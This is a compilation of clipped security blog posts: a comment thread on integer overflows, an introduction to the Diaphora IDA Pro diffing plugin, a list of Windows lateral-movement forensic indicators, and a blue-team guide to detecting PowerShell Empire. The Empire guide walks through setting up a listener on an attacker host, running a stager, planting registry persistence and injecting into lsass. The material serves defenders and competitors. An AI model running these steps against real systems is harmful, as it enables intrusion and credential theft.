gcc – http://www.codeplex.com/Safeint. Another thing that helps is to use the
newer forms of memcpy, namely memcpy\_s, which takes the size of the target
and the size of the source, which also tends to reduce potential for mayhem.

Comment by David LeBlanc — February 21, 2011 @ 11:30 am | Reply
     * <img src='img/Temp2_5282.gif' width='32' height='32' />
This seems useful. For environments without C++ or memory protection, it might
be good to have a RangedInt set of macros. Instead of writing lots of if/then
statements, just do:

RANGED\_INT\(val, 300, error\_out\);

The macro would expand to the appropriate if val > 300 goto error\_out
function. If val was signed, it could add the < 0 comparison at compile time
also. If a msg string was included, it could be printed on the way out. There
might be GE, LE, LT, GT and SPAN variants for more complicated scenarios.

If something like this exists, let me know.

Comment by Nate Lawson — February 21, 2011 @ 11:51 am | Reply
       * <img src='img/Temp2_5281.gif' width='32' height='32' />
Nate: http://gcc.gnu.org/ml/gcc/2009-07/msg00459.html

Comment by anonymous — February 22, 2011 @ 11:10 am

  3. <img src='img/Temp2_5280.gif' width='32' height='32' />
Interesting exploitation technique, never considered this when auditing.

# Diaphora, a program diffing plugin for IDA Pro | Unintended Results
**Created:**| _3/13/2015 8:44:20 PM_  
---|---  
**Updated:**| _3/13/2015 8:44:20 PM_  
**Author:**| __  
**Tags:**| __  
  

# Diaphora, a program diffing plugin for IDA Pro

2 Replies

Some weeks ago I started developing a binary diffing plugin for IDA Pro \(in
IDA Python\) like Zynamics BinDiff, DarunGrim or Turbo Diff. The reasons to
create one more \(open source\) plugin for such task are various, but the
following are the main ones:

  1. We need an **Open Source** plugin/tool that is **updated** , **maintained** and **easy to modify or adapt**.
  2. The plugin should do **much more** than what the current ones do. It must offer much more **functionality** than previously existing ones.
  3. The plugin should be as **deeply integrated in IDA** as possible \(because 99% of serious researchers use IDA as the main tool\).
  4. The plugin must **not** be **subject** **to** big corporation’s desires \(i.e., **Google**\).

The plugin or tool I have more used and the one I liked the most was Zynamics
BinDiff. However, after Google bought the company, updates to it are either
too slow or non existent \(you can check this issue and, my favourite, this
one, where Google people tells to actually patch the binary and that, may be,
they can have a real fix for the next week\). Also, nobody can be sure Google
is not going to finally kill the product making it exclusively a private tool
\(i.e., only for Google\) or simply killing it because they don’t want to
support it for a reason \(like it killed GoogleCode or other things before\).
Due to this reason, because I like no current open source plugins for
bindiffing and, also, because they lack most of the features that, on my mind,
a decent todays binary diffing tool should have, I decided to create one of
mine: Diaphora.

NOTE: If you’re not interested in the non-technical aspect of this project,
skip until the “Finding differences in new versions \(Patch diffing\)” section
<img src='img/Temp2_2224.gif' alt=';)' />

**Introduction**

Diaphora \(διαφορά, in Greek “difference”\) is a pure python plugin for IDA
Pro to perform program comparison, what is often referred as “Binary Diffing”.
This plugin is based on all the previous published research and work of Thomas
Dullien \(aka Halvar Flake\) and Rolf Rolles as well as my own research and
ideas on this subject. I always found that the bindiff tools did not import
enough information from database to database, if at all. For example: I’m a
heavy user of structures and enumerations in IDA and I always have to manually
import them. This is tedious and I’m lazy. Another problem: sometimes, I
perform malware analysis and I want to check the call graph of the malwares:
only Zynamics BinDiff does so. Also, many times I need to match functions from
x86, x86\_64 and ARM binaries interchangeably. The Zynamics plugin works
“great” over all, but can fail matching many functions because the compiler
used is different, naturally. However, the Hex-Rays decompiler is not
typically bothered by such changes and the pseudo-code is rather similar if
not 100% equal. So, why not use also the decompiler? And this is \(one of the
many things\) I do: I use both the AST the Hex-Rays decompiler offers and the
pseudo-code. It allows me to perform, interchangeably, binary diffing with
x86, x86\_64 and ARM at levels that are ahead of the current binary diffing
tools or plugins.

It isn’t 100% public yet because is in BETA stage, but will be published soon
in, likely, GitHub. But, anyway, I think it’s enough talking about dates, what
is and what is not, let’s see it in action <img src='img/Temp2_2224.gif'
alt=';)' />

## Finding differences in new versions \(Patch diffing\)

In order to use Diaphora we need at least two binary files to compare. I will
take as example 2 different versions of the “avast” binary from Avast for
Linux x86\_64. The files has the following hashes:

  1. ed5bdbbfaf25b065cf9ee50730334998 avast 
  2. 72a05d44b2ac3d7a1c9d2ab5939af782 avast-72a05d44b2ac3d7a1c9d2ab5939af782 

The file “avast-<hash>” is the previous one and the binary “avast” is the
latest version. Launch IDA Pro for 64 bits \(idaq64\) and open the file
“avast-72a05d44b2ac3d7a1c9d2ab5939af782 ”. Once the initial auto-analysis
finishes launch Diaphora by either running the script “diaphora.py” or, if
it’s installed \(i.e., copied in the $IDA\_DIR/plugins/ directory\), using the
Edit → Plugins → Diaphora – Export or diff option. The following dialog will
open:

<img src='img/Temp2_2213.gif' alt='image1' />

We only need to care about 2 things:

  1. Field “Export current database to SQLite”. This is the path to the SQLite database that will be created with all the information extracted from the IDA database of this avast binary.
  2. Field “Use the decompiler if available”. If the Hex-Rays decompiler is available and we want to use it, we will leave this check-box marked, otherwise un-check it.

After correctly selecting the appropriate values, press OK. It will start
exporting all the data from the IDA database. When the export process finishes
the message “Database exported.” will appear in the IDA’s Output Window. Now,
close this database, save the changes and open the “avast” binary. Wait until
the IDA’s auto-analysis finishes and, after it, run Diaphora like with the
previous binary file. This time, we will select in the 2nd field, the one
named “Open SQLite database to diff”, the path to the .sqlite file we just
exported in the previous step, as shown in the next figure:

<img src='img/Temp2_2219.gif' alt='image2' />

After this, press the OK button, as we will use the default options. It will
first export the current IDA database to the SQLite format as understood by
Diaphora and, then, right after finishing, compare both databases. It will
show an IDA’s wait box dialog with the current heuristic being applied to
match functions in both databases as shown in the next figure:

<img src='img/Temp2_2220.gif' width='343' height='118' alt='image3' />

After a while a set of lists \(choosers, in the HexRays workers language\)
will appear:

<img src='img/Temp2_2228.gif' width='784' height='42' alt='image4' />

There is one more list that is not shown for this database, the one named
“Unreliable matches”. This list holds all the matches that aren’t considered
reliable. However, in the case of this binary with symbols, there isn’t even a
single unreliable result. There are, however, unmatched functions in both the
primary \(the latest version\) and the secondary database \(the previous
version\):

<img src='img/Temp2_2216.gif' alt='image5' />

The previous image shows the functions not matched in the secondary database,
that is: the functions removed in the latest version. The second figure shows
the functions not matched in the previous database, the new functions added:

<img src='img/Temp2_2210.gif' alt='image6' />

It seems they added various functions to check for SSE, AVX, etc… Intel
instructions. Also, they added 2 new functions called handler and context.
Let’s take a look now to the “Best matches” tab opened:

<img src='img/Temp2_2211.gif' alt='image7' />

There are many functions in the “Best matches” tab, 2556 functions, and in the
primary database there are 2659 functions. The results shown in the “Best
matches” tab are these functions matched with some heuristic \(like “100%
equal”, where all attributes are equal, or “Equal pseudo-code”, where the
pseudo-code generated by the decompiler is equal\) that, apparently, doesn’t
have any difference at all. If you’re diffing these binaries to find
vulnerabilities fixed with a new patch, just skip this tab, you will be more
interested in the “Partial matches” one <img src='img/Temp2_2224.gif' alt=';)'
/> In this tab we have many more results:

<img src='img/Temp2_2218.gif' alt='image8' />

It shows the functions matched between both databases and, in the description
field, it says which heuristic matched and the ratio of differences. If you’re
looking for functions where a vulnerability was likely fixed, this is where
you want to look at. It seems that the function “handle\_scan\_item”, for
example, was heavily modified: the ratio is 0.49, so it means that more than
the 49% of the function differs between both databases. Let’s see the
differences: we can see then in an assembly graph, in plain assembly or we can
diff pseudo-code too. Right click on the result and select “Diff assembly in a
graph”, the following graph will appear:

<img src='img/Temp2_2226.gif' alt='image9' />

The nodes in yellow colour, are these with only minor changes; pink ones, are
these that are either new or heavily modified and the blank ones, the basic
blocks that were not modified at all. Let’s diff now the assembly in plain
text: go back to the “Partial matches” tab, right click on the function
“handle\_scan\_item” and select “Diff assembly”:

<img src='img/Temp2_2208.gif' alt='image10' />

It shows the differences, in plain assembly, that one would see by using a
tool like the Unix command “diff”. We can also dif the pseudo-code; go back to
the “Partial matches” tab, right click in the function and select “Graph
pseudo-code”:

<img src='img/Temp2_2206.gif' alt='image11' />

As we can see, it shows all the differences in the pseudo-code in a 2 sides
diff, like with the assembly diff. After you know how the 3 different ways to
see differences work, you can choose your favourite or use all of the 3 for
each specific case. Indeed, I use the 3 depending on each kind of change I’m
looking for.

## Ignoring small differences: Finding new functionalities

Sometimes, you don’t need to care about small changes when diffing 2
databases. For example, you maybe finding just the new features added to this
or that program instead of finding bugs fixed in a product. We will continue
with the previous binaries for this example. Go to the tab “Partial matches”
and find the functions “respond” and “scan\_reponse”:

<img src='img/Temp2_2212.gif' alt='image12' />

According to the ratios shown it seems these functions are almost equal with
small changes. Let’s see the differences for the function “respond”: right
click on the respond function and select “Diff pseudo-code”:

<img src='img/Temp2_2207.gif' alt='image13' />

It seems that the only change in this function is, actually, the size of a
stack variable and the given size to the “protocol\_response” function call.
If we’re looking for the new functionality added to the product, it can be
irritating going through a big list of small changes \(or at least it’s for
me\). We will re-diff both databases: run again Diaphora by either running
diaphora.py or selecting Edit → Plugins → Diaphora – Export or diff and, in
the dialog select this time “Relaxed calculations on difference ratios” as
shown bellow:

<img src='img/Temp2_2223.gif' alt='image14' />

Press OK and wait for it to finish. When it’s finished, go to the “Best
matches” tab and find the “respond” or “scan\_response” functions:

<img src='img/Temp2_2222.gif' alt='image15' />

This time, as we can see, both functions appear in the “Best matches”, the
list of functions that are considered equal, so you don’t need to go through a
big list with small changes here and there: the “Partial matches” tab will
show only functions with bigger changes, making it easier to discover the new
functionalities added to the program.

## Porting symbols

One of the most common tasks in reverse engineering, at least from my
experience, is porting symbols from previous versions of a program, library,
etc… to the new version. It can be quite annoying having to port function
names, enumerations, comments, structure definitions, etc… manually to new
versions, specially when talking about big reverse engineering projects.

In the following example, we will import the symbols, structures,
enumerations, comments, prototypes, function flags, IDA type libraries, etc…
from one version full of symbols to another version with symbols stripped. We
will use Busybox 1.21-1, compiled in Ubuntu Linux for x86\_64. After
downloading and compiling it, we will have 2 different binaries: “busybox” and
“busybox\_unstripped”. The later, is the version with full symbols while the
former is the one typically used for distribution, with all the symbols
stripped. Launch IDA and open, first, the “busybox\_unstripped” binary
containing full symbols. Let’s IDA finish the initial auto-analysis and, after
this, run Diaphora by either running diaphora.py or selecting the menu Edit →
Plugins → Diaphora – Export or diff. In the dialog just opened, press OK:

<img src='img/Temp2_2227.gif' alt='image14-1' />

Wait until Diaphora finishes exporting to SQLite the current database. When it
finishes, close the current IDA database and open the binary “busybox”, wait
until IDA finishes the initial auto-analysis and, then, launch again Diaphora.
In the next dialog select as the SQLite database to diff the previous one we
just created, the one with all the symbols from the previous binary:

<img src='img/Temp2_2215.gif' alt='image14-2' />

Press OK and wait until it finishes comparing both databases. After a while,
it will show various tabs with all the unmatched functions in both databases,
as well as the “Best”, “Partial” and “Unreliable” matches tabs.

<img src='img/Temp2_2225.gif' alt='image18' />

As we can see, Diaphora did a decent work matching 796 functions labeled as
“Best Matches” and 2296 labeled as “Partial matches”, a total of 3092
functions out of 3134. Let’s go to the “Best matches” tab. All the functions
here are these that were matched with a high confidence ratio. Let’s say that
we want to import all the symbols for the “Best matches”: right click on the
list and select “Import all functions”. It will ask if we really want to do
so: press YES. It will import all function names, comments, function
prototypes, structures, enumerations and even IDA’s type libraries \(TILs\).
When it’s done it will ask us if we want to relaunch again the diffing
process:

<img src='img/Temp2_2221.gif' alt='image19' />

After Diaphora imports symbols it will also update the database with the
exported data from the primary database and, as so, with the new information
it may be possible to match new functions not discovered before. In this case
we will just say “NO” to this dialog. Now, go to the “Partial matches” tab. In
this list we have some matches that doesn’t look like good ones:

<img src='img/Temp2_2209.gif' alt='image20' />

As we can see, the ratios are pretty low: from 0.00 to 0.14. Let’s diff the
graphs of the “make\_device” function \(matched with the “same name”
heuristic\):

<img src='img/Temp2_2214.gif' alt='image21' />

It doesn’t look like a good match. And, if it’s, it’s rather big to verify
yet. Let’s delete this result: go back to the “Partial matches” tab, select
the “make\_device” match and, simply, press “DEL”. It will just remove this
result. Now, do the same for the next results with 0.00 confidence ratio. OK,
bad results removed. Now, it’s time to import all the partial matches: right
click in the list and select “Import all data for sub\_\* functions”. It will
import everything for functions that are IDA’s auto-named, these that start
with the “sub\_” prefix but will not touch any function with a non IDA auto-
generated name. It will ask us for confirmation:

<img src='img/Temp2_2217.gif' alt='image22' />

Press “Yes”, and wait until it exports everything and updates the primary
database. And, that’s all\! We just imported everything from function names,
comments or prototypes to structures and enumerations and even IDA’s type
libraries into the new database and we can just continue with our work with
the new database and with all the data imported from the database we used to
work on before.

# Heuristics

Diaphora uses multiple heuristics to find matches between different functions.
Other competing tools like DarunGrim or TurboDiff implements one, two or a
handful of heuristics, with the only exception of Zynamics BinDiff, which
implements a lot of heuristics. However, Diaphora is the only one implementing
heuristics based on the Hex-Rays decompiler \(if it’s available\). The
following list explains the whole current list of heuristics implemented in
Diaphora as of the Release Candidate 1:

## Best matches

  * The very first try is to find if everything in both databases, even the primary key values are equals. If so, the databases are considered 100% equals and nothing else is done.
  * **Equal pseudo-code**. The pseudo-code generated by the Hex-Rays decompiler are equals. It can match code from x86, x86\_64 and ARM interchangeably.
  * **Equal assembly**. The assembly of both functions is exactly equal.
  * **Bytes hash and names**. The first byte of each assembly instruction is equal and also the referenced true names, not IDA’s auto-generated ones, have the same names.
  * **Same address, nodes, edges and mnemonics**. The number of basic blocks, their addresses, the number of edges and the mnemonics in both databases are equal

## Partial and unreliable matches \(according to the confidence’s ratio\):

  * **Same name**. The mangled or demangled name is the same in both functions.
  * **Same address, nodes, edges and primes \(re-ordered instructions\)**. The function has the same address, number of basic blocks, edges and the prime corresponding to the cyclomatic complexity are equal. It typically matches functions with re-ordered instructions.
  * **Import names hash**. The functions called from both functions are the same, matched by the demangled names.
  * **Nodes, edges, complexity, mnemonics, names, prototype, in-degree and out-degree**. The number of basic blocks, mnemonics, names, the function’s prototype the in-degree \(calls to the function\) and out-degree \(calls performed to other functions\) is the same.
  * **Nodes, edges, complexity, mnemonics, names and prototype**. The number of basic blocks, edges, the cyclomatic complexity, the mnemonics, the true names used in the function and even the prototype of the function \(stripping the function name\) are the same.
  * **Mnemonics and names**. The functions have the same mnemonics and the same true names used in the function. It’s done for functions with the same number of instructions.
  * **Small names difference**. At least 50% of the true names used in both functions are the same.
  * **Pseudo-code fuzzy hash**. It checks the normal fuzzy hash \(calculated with the DeepToad’s library kfuzzy.py\) for both functions.
  * **Pseudo-code fuzzy hashes**. It checks all the 3 fuzzy hashes \(calculated with the DeepToad’s library kfuzzy.py\) for both functions. This is considered a slow heuristic
  * **Similar pseudo-code****.** The pseudo-code generated by the Hex-Rays decompiler is similar with a confidence ratio bigger or equal to 0.729. This is considered a slow heuristic
  * **Pseudo-code fuzzy AST hash**. The fuzzy hash calculated via SPP \(small-primes-product\) from the AST of the Hex-Rays decompiled function is the same for both functions. It typically catches C constructions that are re-ordered, not just re-ordered assembly instructions. 
  * **Partial pseudo-code fuzzy hash**. At least the first 16 bytes of the fuzzy hash \(calculated with the DeepToad’s library kfuzzy.py\) for both functions matches. This is considered a slow heuristic
  * **Same high complexity, prototype and names**. The cyclomatic complexity is at least 20, and the prototype and the true names used in the function are the same for both databases.
  * **Same high complexity and names**. Same as before but ignoring the function’s prototype.

## Unreliable matches

  * **Bytes hash**. The first byte of each instruction is the same for both functions. This is considered a slow heuristic
  * **Nodes, edges, complexity and mnemonics**. The number of basic blocks, relations, the cyclomatic complexity \(naturally\) and the mnemonics are the same. It can match functions too similar that actually perform opposite operations \(like add\_XXX and sub\_XXX\). Besides, this is considered a slow heuristic
  * **Nodes, edges, complexity and prototype**. Same as before but the mnemonics are ignored and only the true names used in both functions are considered. This is considered a slow heuristic
  * **Nodes, edges, complexity, in-degree and out-degree**. The number of basic blocks, edges, cyclomatic complexity \(naturally\), the number of functions calling it and the number of functions called from both functions are the same. This is considered a slow heuristic
  * **Nodes, edges and complexity**. Same number of nodes, edges and, naturally, cyclomatic complexity values. This is considered a slow heuristic
  * **Similar pseudo-code**. The pseudo-codes are considered similar with a confidence’s ratio of 0.58 or less. This is considered a slow heuristic
  * **Same high complexity**. Both functions has the same high cyclomatic complexity, being it at least 50. This is considered a slow heuristic

## Experimental \(and likely to be removed or moved or changed in the
future\):

  * **Similar small pseudo-code**. The pseudo-code generated by the Hex-Rays decompiler is less or equal to 5 lines and is the same for both functions. It matches too many things and the calculated confidence’s ratio is typically bad.
  * **Small pseudo-code fuzzy AST hash**. Same as “Pseudo-code fuzzy AST hash” but applied to functions with less or equal to 5 lines of pseudo-code. Like the previous heuristic, it matches too many things and the calculated confidence’s ratio is typically bad.
  * **Similar small pseudo-code**. Even worst than “Similar small pseudo-code”, as it tries to match similar functions with 5 or less lines of pseudo-code, matching almost anything and getting confidence’s ratios of 0.25 being lucky.
  * **Equal small pseudo-code**. Even worst than before, as it matches functions with the same pseudo-code being 5 or less lines of code long. Typically, you can get 2 or 3 results, that are, actually, wrong.
  * **Same low complexity, prototype and names**. The prototype of the functions, the true names used in the functions and its cyclomatic complexity, being it less than 20, is the same. It worked for me once, I think.
  * **Same low complexity and names**. The cyclomatic complexity, being it less than 20, and the true names used in the function are the same. It typically matches functions already matched by other heuristics, so it’s usefulness is really limited.

## Conclussions

The plugin is not 100% public yet as it’s finishing its last BETA stage.
However, if you’re interested on testing it out before I make it totally
public, just send me an e-mail and I will send you the current Release
Candidate 1 <img src='img/Temp2_2224.gif' alt=';)' />

And that’s all for now\! I hope you like this plugin and this blog entry <img
src='img/Temp2_2224.gif' alt=';)' />

Cheers\!

# Do not fumble the lateral movement | System Forensics
**Created:**| _1/27/2014 4:48:19 PM_  
---|---  
**Updated:**| _1/27/2014 4:48:19 PM_  
**Author:**| __  
**Tags:**| _windows environment_  
  

# **D** o not fumble the lateral movement****

23 01 2014

I posted a blog post about Windows Processes and how knowing what’s “normal”
can be used to spot malicious processes**.** You can find the post here:

http://sysforensics.org/2014/01/know-your-windows-processes.html

I got quite a bit of positive feedback on that post so I figured I would write
a similar one for spotting lateral movement on systems. There are other ways
to achieve the below, but these are the most common indicators I see humans
and malware make when conducting lateral movements**.** Also, before I get an
email on this…. Not all of these will be created**.** It’s a case by case type
of thing. And just because you see some of these doesn’t mean you have been
attacked or that you have lateral movements within your company**.**

**Prefetch Files Created:**

\- AT.EXE \(scheduled jobs/tasks\)  
\- SCHTASKS.EXE \(scheduled jobs/tasks\)  
\- CMD.EXE \(Obviously common, but I included it anyway**.**\)  
\- NET.EXE \(net view, etc**.**\)  
\- NET1.EXE \(net use\)  
\- NETSTAT.EXE \(netstat -ano\)  
\- REG.EXE \(reg query and reg add\)  
\- SC.EXE \(interact with services\)  
\- SYSTEMINFO.EXE \(system profiling\)  
\- TASKKILL.EXE \(kill running processes – taskkill /f /im <process\_name> or
by PID**.**\)  
\- TASKLIST.EXE \(tasklist /v\)  
\- POWERSHELL.EXE \(interact with powershell\)  
\- NBTSTAT.EXE \(profile\)  
\- XCOPY.EXE \(copy files around\)  
\- NSLOOKUP.EXE \(profile\)  
\- QUSER.EXE \(profile\)  
\- PING.EXE \(check connectivity\)  
\- FTP.EXE \(download/upload\)  
\- BITSADMIN.EXE \(download/upload\)  
\- ROUTE.EXE \(adding persistent routes\)

You will also see System Internals \(ex**.** PsExec\), various archiving tools
\(ex. winrar\), etc**.** used as well but they often times rename them. Look
at prefetch files for odd names, usually 3 characters or less**.** They like
to use short file names. On the flip side, look for the real winrar, psexec,
etc**.** names within prefetch files as well. Also keep an eye out for the
prefetch hash value after the name as this can indicate a file was executed,
but from a different location**.** For example, if cmd.exe was run from
system32 and from %temp%**.**

I will also quickly add that with the new\(er\) version of PsExec you can
rename the PsExec service name \(via -r\) that’s created on the remote
host**.** This is something to keep in mind.

**Event Logs:**

\- 528 Type 10 -> Successful Logon via RDP/Terminal Services  
\- 529 -> Failed Logon  
\- 538 -> Successful logoff  
\- 540 Type 3 -> Network Logon  
\- 682 -> RDP Session connected and reconnected  
\- 683 -> RDP Session disconnected  
\- 7035 -> Service was successfully sent a start/stop control \(Look for
PsExec here\)  
\- 7036 -> The service entered the running/stopping state  
\- 7045 -> A service was installed in the system \(Look for PsExec service
installs\)  
\- 1116 -> Microsoft Malware Protection  
\- <Any other AV products>

Hint: Add 4096 to Win XP EventIDs to get the Windows 7 id number**.** It
doesn’t work for all, but most of the common ones**.**

**RDP Artifacts:**

\- Default.rdp created \(Hidden file in My Documents\)  
\- %appdata%\Microsoft\Terminal Server Client\Cache\bcache22.bmc

**Networking:**

\- tcp/445 between two user workstations \(filesharing\)  
\- tcp/3389 between two user workstations or non-terminal server systems
\(RDP\)

This is where knowing what your systems do/are is important**.** RDP to a
terminal server might be, ok but RDP between someone in Accounting and HR
isn’t a good thing \(normally\)**.**

**Registry:**

\- NTUSER and Software Run Keys \(don’t forget about Wow6432Node keys\)  
\- Services  
\- MountPoints2 \(\#\#Server\_Name\#Share\_Name\)  
\- Mount Network Drive MRU \(WinXP\)  
\- SysInternals Key \(populated when EULA accepted\)  
\- Archive Locations \(WinZip, WinRar, 7-zip, etc**.**\)  
\- ShellBags

There are MANY other places to hide \(BHOs, Winlogon, App\_Init, Shell, Active
Setup, etc**.**\) and tons of other artifacts created within the registry when
malware/people run malware/perform lateral movements, but i’m only listing the
more commonly used ones related to lateral movements \(not persistence\)**.**
The registry alone is 20+ blog posts so i’m trying to stay focused on just a
few common areas \(at least from what I personally see\)**.** I added a good
persistence reference link in the references section**.**

I have some plugins already written that will check commonly used malware
locations inside the registry**.** You can find me code here:
https://github.com/sysforensics/autoreg-parse \(written in Python\)**.**

Thanks to @williballenthin for writing python-registry**.** I’m still writing
more plugins so if you want to help, feel free**.** If not, let me know which
plugins you need/want.

As an alternative to auroreg-parse you could always use RegRipper \(written by
Harlan Carvey in Perl\) here: https://code.google.com/p/regripper**.** He has
been known to write RR plugins the same day he gets a request and also takes
suggestions on which plugins to write**.**

**Jobs/Tasks:**

\- Scheduled Tasks/AT Jobs

**Services:**

\- Specifically Start Type 2 \(auto-start\) with Type 10  
\- Also look for ones that have ErrorControl set to 0×0**.**  
\- They will sometimes have weird names but sometimes they will have very
convincing names  
\- Look for anything not running within System32 \(autoreg-parse will do this
for you\)  
\- If it’s in System32 they more than likely time stomped it so you won’t see
it without comparing $SI and $FN times**.** It’s possible they only stomped
the modification time to fool you when viewing it inside Windows Explorer**.**
Add the “created” column in Windows Explorer before moving on to the the
master file table \(MFT\)**.**  
\- More than likely it’s not signed

**File Names:**

\- Not fool proof, but they like to use 1 – 3 character file names**.** This
includes renamed tools, key logging logs, archived exfil data \(ex**.**
4.rar\), etc**.** Watch out for these. It doesn’t mean they are malicious, but
just something to make note of**.**

**Malware often Hides/Executes from:**

\- %temp%  
\- %appdata%  
\- %localappdata% \(Win7\)  
\- %systemroot%\System32  
\- %systemdrive%  
\- %programdata%  
\- %allusersprofile%  
\- %commonprogramfiles%  
\- $Recycle.Bin  
\- Startup Folder \(As .vbs or .lnk\)

Often times malware will hide in the root of these locations**.** I’ve seen
them moving more and more towards one or two directories deep, which defeats
simple endpoint protection rules that were quite effective in the past**.** I
would say, %temp% and %appdata% are most common from what I see**.** With
either Startup and/or System32 a close third. If services are involved it’s
typically running out of System32**.**

**Example:**

So here is an example of how this all might play out**.**

\- Machine gets owned  
\- systeminfo \(or some other system profiling command\(s\)\)  
\- tasklist /v  
\- net view, netstat, etc**.**  
\- cd c:\  
\- dir  
\- reg query \CurrentVersion\Run  
\- Downloads some malware/tool kit  
\- reg add \CurrentVersion\Run /v malware.exe \(sets persistence\)  
\- archives some stuff up and exfiltrates it  
\- escalates privs if not done already  
\- moves around your network \(net use, psexec, etc**.**\)  
\- steals more stuff  
\- repeats this for a year until you detect it or someone calls you**.** Then
you take months to fix it \(if ever\).

I find that run keys, AT jobs and services are most commonly used with these
kind of cases**.**

**Summary:**

By now you might be thinking, “That’s all great, but that stuff happens all
the time within my environment**.** Our System Administrators and Help Desk do
that kind of stuff all the time**.** ” You’re right… That is why they \(read:
attackers\) do it**.**

No one said it was going to be easy**.** If you want easy, find a red light
district.

**References:**

@TekDefense \(Ian\)- tekdefense.com  
@hiddenillusion \(Glenn\) – hiddenillusion.blogspot.com  
@keydet89 \(Harlan\) pointed me here too: http://windowsir.blogspot**.**
sg/2013/07/howto-track-lateral-movement.html  
@4n6k – http://www**.** 4n6k.com/2013/12/shellbags-forensics-addressing.html

Registry References:

http://www.cylance.com/techblog/Windows-Registry-Persistence-Part2.shtml

Advanced Persistence Threat , APT , APT Malware , lateral-movement

Know your Windows Processes or Die Trying

Comments are currently closed**.**

****

# Tales of a Blue Teamer: Detecting Powershell Empire shenanigans with Sysinternals | HoldMyBeer
**Created:**| _3/2/2019 6:09:25 PM_  
---|---  
**Updated:**| _3/2/2019 6:09:25 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

<img src='img/Temp2_7866.jpg' width='392' height='254' />

Sysinternals is my go to Windows toolkit for malware analysis, incident
response, and troubleshooting. Sysinternals contain tools that enable the user
to analyze the inner workings of a Windows system. In this blog post, I will
be covering how to use Sysinternals in Red vs.Blue competitions to detect Red
team activity.

# DISCLAIMER

**The information contained in this blog post is for educational purposes
ONLY\! HoldMyBeerSecurity.com/HoldMyBeer.xyz and its authors DO NOT hold any
responsibility for any misuse or damage of the information provided in blog
posts, discussions, activities, or exercises.**

# DISCLAIMER

# Background

## Knowing your enemy

In the famous words of Sun Tzu, “If you know the enemy and know yourself, you
need not fear the result of a hundred battles. If you know yourself but not
the enemy, for every victory gained you will also suffer a defeat. If you know
neither the enemy nor yourself, you will succumb in every battle.”

This quote illustrates a very important concept and in which to defend, you
must understand your adversary. We will utilize Powershell Empire \(Empire\)
to simulate an adversary so we can detect actions performed by Empire with
Sysinternals. Before we start, I would like to give credit to Mark
Russinovich’s Youtube video on Sysinternals. This video generated the idea for
this blog post and a majority of the content.

## Target audience: Red vs. Blue

This blog post is targeted at individuals competing in Red vs. Blue
competitions who need to defend Windows. The mitigations in this blog post are
targeted at competition environments. Please review each mitigation carefully
if you choose to use them outside a competition environment.

## Incident response reports

As an undergrad, I competed in several Red vs. Blue competitions\(CCDC, IRSeC,
ISTS, UB Lockdown, Alfred state\) as a Blue Teamer, and all of them had
incident response\(IR\) reports. Throughout these competitions, the Red Team
will attack Blue Teams and perform malicious actions. The hope is that Blue
Teams can setup preventions to stop this from happening or the ability to
detect it. Once an incident has been detected, the Blue Team must write up a
report on the incident. An IR report should include the following for a
competition:

  * **BE PROFESSIONAL**
  * Team number
  * Date
  * Include timeframe of attack
  * Assets that were deleted, modified, or added
  * Scope of the attack – Users, machines, etc
  * IOCs – IP addresses, domains, usernames, etc

# Creating the Empire

## Install/Setup Powershell Empire on Kali Linux

  1. Spin up a Kali Linux
  2. cd /opt
  3. git clone https://github.com/EmpireProject/Empire.git
  4. cd Empire
  5. ./setup/install.sh 
    1. Hit enter to set a random server password
  6. ./empire

## Setup/Configure HTTP listener

  1. listeners
  2. uselistener http 
    1. set Name http80
    2. set Host http://<IP addr of Kali Linux>:80
    3. execute<img src='img/Temp2_7891.jpg' width='555' height='209' />
    4. back

## Create Powershell stager

  1. usestager multi/launcher http80
  2. execute<img src='img/Temp2_7900.jpg' width='515' height='115' />
  3. Copy Powershell output string

## Detonate Powershell stager

  1. Spin up a Windows 10 VM and login
  2. Open a Powershell prompt as Administrator
  3. Copy Powershell output string and hit enter<img src='img/Temp2_7904.jpg' width='683' height='123' /><img src='img/Temp2_7890.jpg' width='696' height='58' />

## Red team operations

### Planting persistence

  1. Enter “interact <agent ID>” into Powershell Empire
  2. usemodule persistence/userland/registry 
    1. set Listener http80
  3. execute<img src='img/Temp2_7907.jpg' width='695' height='139' />

### Process injection

  1. psinject http80 lsass<img src='img/Temp2_7877.jpg' width='738' height='224' />

# Obtaining Sysinternals toolkit

## Download zip

  1. Browser 
    1. Browse to https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite
  2. Powershell 
    1. Invoke-WebRequest https://download.sysinternals.com/files/SysinternalsSuite.zip -OutFile SysinternalsSuite.zip

## Live SMB share

  1. Open File Explorer
  2. Select “My Computer” on the left
  3. Select “Map network drive”
  4. Enter “\\\live.sysinternals.com” into Folder<img src='img/Temp2_7895.jpg' width='422' height='301' />
  5. Select Finish<img src='img/Temp2_7879.jpg' width='471' height='256' />

# **Process Explorer**

This by far my **FAVORITE** tool in the Sysinternals toolkit. Process Explorer
provides the most comprehensive information about the current system if you
don’t know where to start. Process Explorer contains a color scheme\(provided
below\) to visually differentiate specific types of processes. Keep in mind,
services are processes that run in the background.

FYI, the Purple colored processes are packed pieces of software, meaning they
may be compressed or obfuscate. Malware authors will pack their malware to
obfuscate any strings within the binary from malware analysis.

## Process colors

  * Pink – Windows Service hosting processes
  * Blue – Current user launched processes
  * Cyan – Windows app store application
  * Purple – Indicates a “packed” piece of software
  * Green – Newly launched processes
  * Red – Terminated process
  * Dark Gray – Suspended process

## Process info

  * Displays a short summary about the process or service running when hovering over it.

<img src='img/Temp2_7885.jpg' width='446' height='208' alt='screenshot-
from-2016-09-18-004251' /><img src='img/Temp2_7883.jpg' width='455'
height='353' />

## **Process Details**

Double-clicking a process will pop-up a box with information pertaining to the
process. This information may include details about the binary on disk.
Details about how the process is interacting with the machine – networking,
ASCII strings in the binary on disk vs in memory, and security privileges.

### Image tab

The “Image” tab shows information like the process name, application version
number, execution path, the command used to initiate the process, and the
parent process. The “Verify” button allows an incident responder to verify the
digital signature of a process. Furthermore, Process Explorer will check if
the signature has expired or if the signature has been revoked.

The “VirusTotal” button allows the incident responder to submit the hash of
the **BINARY ON DISK** for analysis by VirusTotal. As you can see below,
VirusTotal reported that the process is not malicious for our FireFox process
and our Powershell Empire agent. This is a very important concept to
understand. Process Explorer is submitting the file hash of the binary on DISK
and not the contents of the process in memory. Therefore, VirusTotal will
report our Powershell Empire agent as benign. In competitions submitting
binaries to VirusTotal may be against the rules. **PLEASE check the rules
before uploading** **the binary** , writing Red Team malware is time
intensive.

<img src='img/Temp2_7875.jpg' width='324' height='410' alt='screenshot-
from-2016-09-17-233845' />

